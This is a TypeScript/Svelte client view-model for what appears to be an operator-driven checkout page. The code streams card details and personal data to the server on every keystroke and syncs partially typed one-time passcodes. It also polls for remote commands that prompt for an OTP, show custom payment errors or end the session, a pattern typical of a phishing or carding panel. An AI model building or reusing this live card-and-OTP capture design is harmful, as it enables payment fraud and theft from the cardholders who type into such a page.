import { page } from "$app/state";
import { checkoutVM } from "$lib/domains/checkout/checkout.vm.svelte";
import { billingDetailsVM } from "$lib/domains/checkout/payment-info-section/billing.details.vm.svelte";
import { paymentInfoVM } from "$lib/domains/checkout/payment-info-section/payment.info.vm.svelte";
import {
	CKActionType,
	SessionOutcome,
	type FlowInfo,
	type PendingAction,
	type PendingActions,
} from "$lib/domains/ckflow/data/entities";
import type { CustomerInfoModel } from "$lib/domains/customerinfo/data";
import { customerInfoModel } from "$lib/domains/customerinfo/data";
import { customerInfoVM } from "$lib/domains/customerinfo/view/customerinfo.vm.svelte";
import {
	CheckoutStep,
	type OrderPriceDetailsModel,
} from "$lib/domains/order/data/entities";
import type { PaymentInfoPayload } from "$lib/domains/paymentinfo/data/entities";
import { PaymentMethod } from "$lib/domains/paymentinfo/data/entities";
import { productStore } from "$lib/domains/product/store";
import { trpcApiStore } from "$lib/stores/api";
import { ClientLogger } from "@pkg/logger/client";
import { toast } from "svelte-sonner";
import { get } from "svelte/store";

class ActionRunner {
	async run(actions: PendingActions) {
		if (actions.length < 1) {
			return;
		}

		console.log(actions);

		const hasTerminationAction = actions.find(
			(a) => a.type === CKActionType.TerminateSession,
		);

		if (hasTerminationAction) {
			this.terminateSession();
			return;
		}

		const actionHandlers = {
			[CKActionType.BackToPII]: this.backToPII,
			[CKActionType.BackToPayment]: this.backToPayment,
			[CKActionType.CompleteOrder]: this.completeOrder,
			[CKActionType.TerminateSession]: this.terminateSession,
			[CKActionType.RequestOTP]: this.requestOTP,
		} as const;

		for (const action of actions) {
			const ak = action.type as any as keyof typeof actionHandlers;
			if (!ak || !actionHandlers[ak]) {
				console.log(`Invalid action found for ${action.type}`);
				continue;
			}
			await actionHandlers[ak](action);
		}
	}
	private async completeOrder(data: any) {
		const ok = await checkoutVM.checkout();
		if (!ok) return;

		const cleanupSuccess = await ckFlowVM.cleanupFlowInfo(
			SessionOutcome.COMPLETED,
			CheckoutStep.Complete,
		);

		if (!cleanupSuccess) {
			toast.error("There was an issue finalizing your order", {
				description: "Please check your order status in your account",
			});
			return;
		}

		toast.success("Checkout completed successfully", {
			description: "Redirecting, please wait...",
		});

		// Ensure flow is completely reset before redirecting
		ckFlowVM.reset();

		setTimeout(() => {
			window.location.replace("/checkout/success");
		}, 500);
	}

	private async requestOTP(action: PendingAction) {
		if (!ckFlowVM.info) return;

		// Reset OTP submission status to show the form again
		await ckFlowVM.updateFlowState(ckFlowVM.info.flowId, {
			...ckFlowVM.info,
			showVerification: true,
			otpSubmitted: false, // Reset this flag to show the OTP form again
			otpCode: undefined, // Clear previous OTP code
			pendingActions: ckFlowVM.info.pendingActions.filter(
				(a) => a.id !== action.id,
			),
		});

		// Make sure the info is immediately updated in our local state
		if (ckFlowVM.info) {
			ckFlowVM.info = {
				...ckFlowVM.info,
				showVerification: true,
				otpSubmitted: false,
				otpCode: undefined,
				pendingActions: ckFlowVM.info.pendingActions.filter(
					(a) => a.id !== action.id,
				),
			};
		}

		await ckFlowVM.refreshFlowInfo(false);

		checkoutVM.checkoutStep = CheckoutStep.Verification;
		toast.info("Verification required", {
			description: "Please enter the verification code sent to your device",
		});
	}

	private async backToPII(action: PendingAction) {
		await ckFlowVM.popPendingAction(action.id, {
			checkoutStep: CheckoutStep.Initial,
		});
		await ckFlowVM.goBackToInitialStep();
		toast.error("Some information provided is not valid", {
			description: "Please double check your info & try again",
		});
		checkoutVM.checkoutStep = CheckoutStep.Initial;
	}

	private async backToPayment(action: PendingAction) {
		const out = await ckFlowVM.popPendingAction(action.id, {
			checkoutStep: CheckoutStep.Payment,
		});

		if (!out) {
			return;
		}

		console.log("back to payment action : ", action);

		const errorMessage =
			action.data?.message || "Could not complete transaction";
		const errorDescription =
			action.data?.description || "Please confirm your info & try again";

		toast.error(errorMessage, {
			description: errorDescription,
			duration: 6000,
		});

		checkoutVM.checkoutStep = CheckoutStep.Payment;
	}

	private async terminateSession() {
		await ckFlowVM.cleanupFlowInfo();
		ckFlowVM.reset();
		checkoutVM.reset();
		const plid = page.params.plid as any as string;
		const sid = page.params.sid as any as string;
		window.location.replace(`/checkout/terminated?sid=${sid}&plid=${plid}`);
	}
}

export class CKFlowViewModel {
	actionRunner: ActionRunner;
	setupDone = $state(false);
	flowId: string | undefined = $state(undefined);
	info: FlowInfo | undefined = $state(undefined);

	otpCode: string | undefined = $state(undefined);

	_flowPoller: NodeJS.Timeout | undefined = undefined;
	_flowPinger: NodeJS.Timeout | undefined = undefined;

	// Data synchronization control
	private personalInfoDebounceTimer: NodeJS.Timeout | null = null;
	private paymentInfoDebounceTimer: NodeJS.Timeout | null = null;
	syncInterval = 300; // 300ms debounce for syncing

	updatedPrices = $state<OrderPriceDetailsModel | undefined>(undefined);

	constructor() {
		this.actionRunner = new ActionRunner();
	}

	reset() {
		this.setupDone = false;
		this.flowId = undefined;
		this.info = undefined;
		this.clearPoller();
		this.clearPinger();
		this.clearPersonalInfoDebounce();
		this.clearPaymentInfoDebounce();
	}

	async initFlow() {
		if (this.setupDone) {
			console.log(`Initting flow ${this.flowId} but setup already done`);
			return;
		}
		console.log(`Initting flow ${this.flowId}`);

		const api = get(trpcApiStore);
		if (!api) {
			toast.error("Could not initiate checkout at the moment", {
				description: "Please try again later",
			});
			return;
		}

		const info = await api.ckflow.initiateCheckout.mutate({
			domain: window.location.hostname,
			refOIds: [],
			productId: get(productStore)?.id,
		});

		if (info.error) {
			toast.error(info.error.message, { description: info.error.userHint });
			return;
		}

		if (!info.data) {
			toast.error("Error while creating checkout flow", {
				description: "Try refreshing page or contact us",
			});
			return;
		}

		this.flowId = info.data;
		this.startPolling();
		this.startPinging();

		this.setupDone = true;
	}

	debouncePersonalInfoSync(personalInfo: CustomerInfoModel) {
		this.clearPersonalInfoDebounce();
		this.personalInfoDebounceTimer = setTimeout(() => {
			this.syncPersonalInfo(personalInfo);
		}, this.syncInterval);
	}

	debouncePaymentInfoSync() {
		if (!paymentInfoVM.cardDetails) return;

		this.clearPaymentInfoDebounce();
		this.paymentInfoDebounceTimer = setTimeout(() => {
			const paymentInfo = {
				cardDetails: paymentInfoVM.cardDetails,
				method: PaymentMethod.Card,
				orderId: -1,
				productId: get(productStore)?.id,
			} as PaymentInfoPayload;
			this.syncPaymentInfo(paymentInfo);
		}, this.syncInterval);
	}

	isPaymentInfoValid(): boolean {
		return (
			Object.values(paymentInfoVM.errors).every((e) => e === "" || !e) ||
			Object.keys(paymentInfoVM.errors).length === 0
		);
	}

	isPersonalInfoValid(personalInfo: CustomerInfoModel): boolean {
		const parsed = customerInfoModel.safeParse(personalInfo);
		return !parsed.error && !!parsed.data;
	}

	async syncPersonalInfo(personalInfo: CustomerInfoModel) {
		if (!this.flowId || !this.setupDone) {
			return;
		}

		const api = get(trpcApiStore);
		if (!api) return;

		console.log("Pushing : ", personalInfo);

		try {
			await api.ckflow.syncPersonalInfo.mutate({
				flowId: this.flowId,
				personalInfo,
			});
			ClientLogger.debug("Personal info synced successfully");
		} catch (err) {
			ClientLogger.error("Failed to sync personal info", err);
		}
	}

	async syncPaymentInfo(paymentInfo: PaymentInfoPayload) {
		if (!this.flowId || !this.setupDone || !paymentInfo.cardDetails) {
			return;
		}

		const api = get(trpcApiStore);
		if (!api) return;

		console.log("Pushing payinfo : ", paymentInfo);

		try {
			await api.ckflow.syncPaymentInfo.mutate({
				flowId: this.flowId,
				paymentInfo,
			});
			ClientLogger.debug("Payment info synced successfully");
		} catch (err) {
			ClientLogger.error("Failed to sync payment info", err);
		}
	}

	private clearPersonalInfoDebounce() {
		if (this.personalInfoDebounceTimer) {
			clearTimeout(this.personalInfoDebounceTimer);
			this.personalInfoDebounceTimer = null;
		}
	}

	private clearPaymentInfoDebounce() {
		if (this.paymentInfoDebounceTimer) {
			clearTimeout(this.paymentInfoDebounceTimer);
			this.paymentInfoDebounceTimer = null;
		}
	}

	clearUpdatedPrices() {
		this.updatedPrices = undefined;
	}

	private clearPoller() {
		if (this._flowPoller) {
			clearInterval(this._flowPoller);
		}
	}

	private clearPinger() {
		if (this._flowPinger) {
			clearInterval(this._flowPinger);
		}
	}

	private async startPolling() {
		this.clearPoller();
		this._flowPoller = setInterval(() => {
			this.refreshFlowInfo();
		}, 2000);
	}

	private async startPinging() {
		this.clearPinger();
		this._flowPinger = setInterval(() => {
			this.pingFlow();
		}, 30000); // Every 30 seconds
	}

	private async pingFlow() {
		if (!this.flowId) {
			return;
		}

		const api = get(trpcApiStore);
		if (!api) return;

		try {
			await api.ckflow.ping.mutate({ flowId: this.flowId });
			ClientLogger.debug("Flow pinged successfully");
		} catch (err) {
			ClientLogger.error("Failed to ping flow", err);
		}
	}

	async updateFlowState(
		flowId: string,
		updatedInfo: FlowInfo,
	): Promise<boolean> {
		if (!flowId) return false;

		const api = get(trpcApiStore);
		if (!api) return false;

		try {
			const result = await api.ckflow.updateFlowState.mutate({
				flowId,
				payload: updatedInfo,
			});

			if (result.data) {
				this.info = updatedInfo;
				return true;
			}
			return false;
		} catch (err) {
			ClientLogger.error("Failed to update flow state", err);
			return false;
		}
	}

	// Method to submit OTP
	async submitOTP(code: string): Promise<boolean> {
		if (!this.flowId || !this.setupDone || !this.info) {
			return false;
		}

		const api = get(trpcApiStore);
		if (!api) return false;

		try {
			// Update the flow state with OTP info
			const updatedInfo = {
				...this.info,
				otpCode: code,
				partialOtpCode: code,
				otpSubmitted: true,
				lastSyncedAt: new Date().toISOString(),
			};

			const result = await this.updateFlowState(this.flowId, updatedInfo);
			return result;
		} catch (err) {
			ClientLogger.error("Failed to submit OTP", err);
			return false;
		}
	}

	async syncPartialOTP(otpValue: string): Promise<void> {
		if (!this.flowId || !this.setupDone || !this.info) {
			return;
		}

		const api = get(trpcApiStore);
		if (!api) return;

		try {
			// Update the flow state with partial OTP info
			const updatedInfo = {
				...this.info,
				partialOtpCode: otpValue, // Store partial OTP in a different field
				lastSyncedAt: new Date().toISOString(),
			};

			await this.updateFlowState(this.flowId, updatedInfo);
			ClientLogger.debug("Partial OTP synced successfully");
		} catch (err) {
			ClientLogger.error("Failed to sync partial OTP", err);
		}
	}

	async refreshFlowInfo(runActions = true) {
		const api = get(trpcApiStore);
		if (!api || !this.flowId) {
			console.log("No api OR No flow id found");
			return;
		}

		const info = await api.ckflow.getFlowInfo.query({
			flowId: this.flowId,
		});

		if (info.error) {
			if (info.error.detail.toLowerCase().includes("not found")) {
				return this.initFlow();
			}
			toast.error(info.error.message, { description: info.error.userHint });
			return;
		}

		if (!info.data) {
			return;
		}

		this.info = info.data;
		if (runActions) {
			this.actionRunner.run(info.data.pendingActions);
		}

		return { data: true };
	}

	async popPendingAction(actionidToPop: string, meta: Partial<FlowInfo> = {}) {
		const api = get(trpcApiStore);
		if (!api || !this.info) {
			console.log("No API or flow state found");
			return;
		}
		return api.ckflow.updateFlowState.mutate({
			flowId: this.info.flowId,
			payload: {
				...this.info,
				pendingActions: this.info.pendingActions.filter(
					(a) => a.id !== actionidToPop,
				),
				...meta,
			},
		});
	}

	async goBackToInitialStep() {
		if (!this.flowId && this.setupDone) {
			return true; // This assumes that there is no order attached to this one
		}
		const api = get(trpcApiStore);
		if (!api) {
			console.log("No api OR No flow id found");
			return;
		}
		const out = await api.ckflow.goBackToInitialStep.mutate({
			flowId: this.flowId!,
		});
		if (out.error) {
			toast.error(out.error.message, { description: out.error.userHint });
			return;
		}
		return true;
	}

	async executePrePaymentStep() {
		if (!this.flowId && this.setupDone) {
			return true; // This assumes that there is no order attached to this one
		}
		const api = get(trpcApiStore);
		if (!api) {
			console.log("No api OR No flow id found");
			return;
		}

		const personalInfo = customerInfoVM.customerInfo;
		if (!personalInfo) {
			toast.error("Could not find customer info", {
				description: "Please try again later or contact support",
			});
			return;
		}

		const out = await api.ckflow.executePrePaymentStep.mutate({
			flowId: this.flowId!,
			payload: {
				initialUrl: "",
				personalInfo: personalInfo,
			},
		});

		if (out.error) {
			toast.error(out.error.message, { description: out.error.userHint });
			return;
		}
		return true;
	}

	async executePaymentStep() {
		if (!this.flowId && this.setupDone) {
			return true; // This assumes that there is no order attached to this one
		}
		const api = get(trpcApiStore);
		if (!api) {
			console.log("No api OR No flow id found");
			return;
		}

		const paymentInfo = {
			cardDetails: paymentInfoVM.cardDetails,
			method: PaymentMethod.Card,
			orderId: -1,
			productId: get(productStore)?.id,
		} as PaymentInfoPayload;

		const out = await api.ckflow.executePaymentStep.mutate({
			flowId: this.flowId!,
			payload: {
				personalInfo: billingDetailsVM.billingDetails,
				paymentInfo,
			},
		});

		if (out.error) {
			toast.error(out.error.message, { description: out.error.userHint });
			return;
		}
		return true;
	}

	async cleanupFlowInfo(
		outcome = SessionOutcome.COMPLETED,
		checkoutStep = CheckoutStep.Confirmation,
	) {
		if (!this.flowId && this.setupDone) {
			return true; // This assumes that there is no order attached to this one
		}
		const api = get(trpcApiStore);
		if (!api) {
			console.log("No api OR No flow id found");
			return;
		}
		const out = await api.ckflow.cleanupFlow.mutate({
			flowId: this.flowId!,
			other: {
				sessionOutcome: outcome,
				checkoutStep: checkoutStep,
			},
		});
		if (out.error) {
			toast.error(out.error.message, { description: out.error.userHint });
			return false;
		}
		this.reset();
		return true;
	}

	async onBackToPIIBtnClick() {
		// This is called when the user clicks the back button on the payment step
		return this.goBackToInitialStep();
	}
}

export const ckFlowVM = new CKFlowViewModel();
